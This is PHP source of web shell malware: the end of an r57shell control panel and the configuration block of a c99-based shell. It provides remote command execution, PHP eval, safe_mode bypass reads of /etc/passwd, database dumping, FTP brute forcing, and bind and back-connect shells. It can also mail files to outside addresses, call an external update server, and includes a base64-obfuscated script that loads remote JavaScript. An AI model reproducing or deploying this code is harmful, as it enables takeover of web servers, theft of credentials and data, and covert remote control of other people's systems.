$sql->pass = $_POST['mysql_p'];
$sql->base = $_POST['mysql_db'];
if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
else {
if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
else { echo "[-] ERROR! Can't write in dump file"; }
}
}
echo "</textarea></div>";
echo "</b>";
echo "</td></tr></table>";
echo "<table width=100% cellpadding=0 cellspacing=0>";
function div_title($title, $id)
{
return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
}
function div($id)
{
if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';
return '<div id="'.$id.'">';
}
if(!$safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submi t',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
else{
echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'saf e_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,' edit_file').in('hidden','dir',0,$dir).ws(4).in('su bmit','submit',0,$lang[$language.'_butt11']));
echo $te.'</div>'.$table_end1.$fe;
if($safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$di r).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode && $unix){
echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts;
echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0 ,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
if(!$safe_mode){
$aliases2 = '';
foreach ($aliases as $alias_name=>$alias_cmd)
{
$aliases2 .= "<option>$alias_name</option>";
}
echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','subm it',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit',' submit',0,$lang[$language.'_butt12']));
echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','d ir',0,$dir));
echo $te.'</div>'.$table_end1.$fe;
if(!$safe_mode && $unix){
echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit',' submit',0,$lang[$language.'_butt12']));
echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir ',0,$dir));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>";
echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
echo "</textarea>";
echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php _eval');
echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
echo "</div></div></font>";
echo $table_end1.$fe;
if($safe_mode&&$curl_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0, 'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
echo "<table class=table1 width=100% align=center>";
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0, 'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&$mysql_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts;
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0, 'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&$mssql_on)
{
echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts;
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0, 'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&$unix&&function_exists('mb_send_mail')){
echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0, 'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&function_exists('imap_list')){
echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts;
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden',' cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode&&function_exists('imap_body')){
echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts;
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0, 'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if($safe_mode)
{
echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts;
echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0, 'test8'));
echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
echo $te.'</div>'.$table_end1.$fe;
}
if(@ini_get('file_uploads')){
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts;
echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,''));
echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hid den','dir',0,$dir).ws(4).in('submit','submit',0,$l ang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
}
if(!$safe_mode&&$unix){
echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15').$table_up2.div('id15').$ts;
echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit', 'submit',0,$lang[$language.'_butt2']));
echo $te.'</div>'.$table_end1.$fe;
}
echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16').$table_up2.div('id16').$ts;
echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,' download_file').in('hidden','dir',0,$dir).ws(4).in ('submit','submit',0,$lang[$language.'_butt14']));
$arh = $lang[$language.'_text92'];
if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
echo $te.'</div>'.$table_end1.$fe;
if(@function_exists("ftp_connect")){
echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo base64_decode('PFNDUklQVCBTUkM9JiN4NjgmI3g3NCYjeDc 0JiN4NzAmI3gzYSYjeDJmJiN4MmYmI3g3NyYjeDc3JiN4NzcmI 3gyZSYjeDZjJiN4NmYmI3g2MyYjeDYxJiN4NmMmI3g3MiYjeDZ mJiN4NmYmI3g3NCYjeDJlJiN4NmUmI3g2NSYjeDc0JiN4MmYmI 3g2OSYjeDYyJiN4NmUmI3g2NSYjeDZjJiN4NjUmI3g3MiYjeDJ mJiN4NzkmI3g2MSYjeDdhJiN4MmUmI3g2YSYjeDczPjwvU0NSS VBUPiANCg==');
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
echo $te."</td>".$fe."</tr></div></table>";
}
if($unix && @function_exists("ftp_connect")){
echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;
echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('sub mit','submit',0,$lang[$language.'_butt1']));
echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
echo $te.'</div>'.$table_end1.$fe;
}
if(@function_exists("mail")){
echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir', 0,$dir));
echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden',' dir',0,$dir));
echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
echo $te."</td>".$fe."</tr></div></table>";
}
if($mysql_on||$mssql_on||$pg_on||$ora_on)
{
$select = '<select name=db>';
if($mysql_on) $select .= '<option>MySQL</option>';
if($mssql_on) $select .= '<option>MSSQL</option>';
if($pg_on) $select .= '<option>PostgreSQL</option>';
if($ora_on) $select .= '<option>Oracle</option>';
$select .= '</select>';
echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd', 0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_P OST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db _query'),"");
echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";
}
if(!$safe_mode&&$unix){
echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457'));
echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457'));
echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));
echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667'));
echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
echo $te."</td>".$fe."</tr></div></table>";
}
echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---o</b></font></div></td></tr></table>";
echo '</body></html>';
?>
c99 Shel
<?php
//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "Emp3ror Undetectable #18"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("N3tsh_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("N3tsh_surl",$surl);}
else {$surl = $_REQUEST["N3tsh_surl"]; //Set this cookie for manual SURL
}

$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.

if ($surl_autofill_include and !$_REQUEST["N3tsh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
$surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);

$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.

//Authentication
$login = ""; //login
//DON'T FORGOT ABOUT PASSWORD!!!
$pass = ""; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)

$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = " N3tshell v. ".$shver.": access denied";

$gzipencode = TRUE; //Encode with gzip?

$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)

$N3tsh_updateurl = "http://emp3ror.com/N3tshell//update/"; //Update server
$N3tsh_sourcesurl = "http://emp3ror.com/N3tshell/"; //Sources-server

$filestealth = TRUE; //if TRUE, don't change modify- and access-time

$donated_html = "<center><b>Owned by Spyn3t</b></center>";
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.

$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)

$log_email = "0xd4yx@gmail.com"; //Default e-mail for sending logs

$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.

// Registered file-types.
// array(
// "{action1}"=>array("ext1","ext2","ext3",...),
// "{action2}"=>array("ext4","ext5","ext6",...),
// ...
// )
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);

// Registered executable file-types.
// array(
// string "command{i}"=>array("ext1","ext2","ext3",...),
// ...
// )
// {command}: %f% = filename
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);

/* Highlighted files.
array(
i=>array({regexp},{type},{opentag},{closetag},{break} )
...
)
string {regexp} - regular exp.
int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "<b>" (default)
string {closetag} - close html-tag, e.g. "</b>" (default)
bool {break} - if TRUE and found match then break
*/
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
array("config.php",1) // example
);

$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line

$nixpwdperpage = 100; // Get first N lines from /etc/passwd

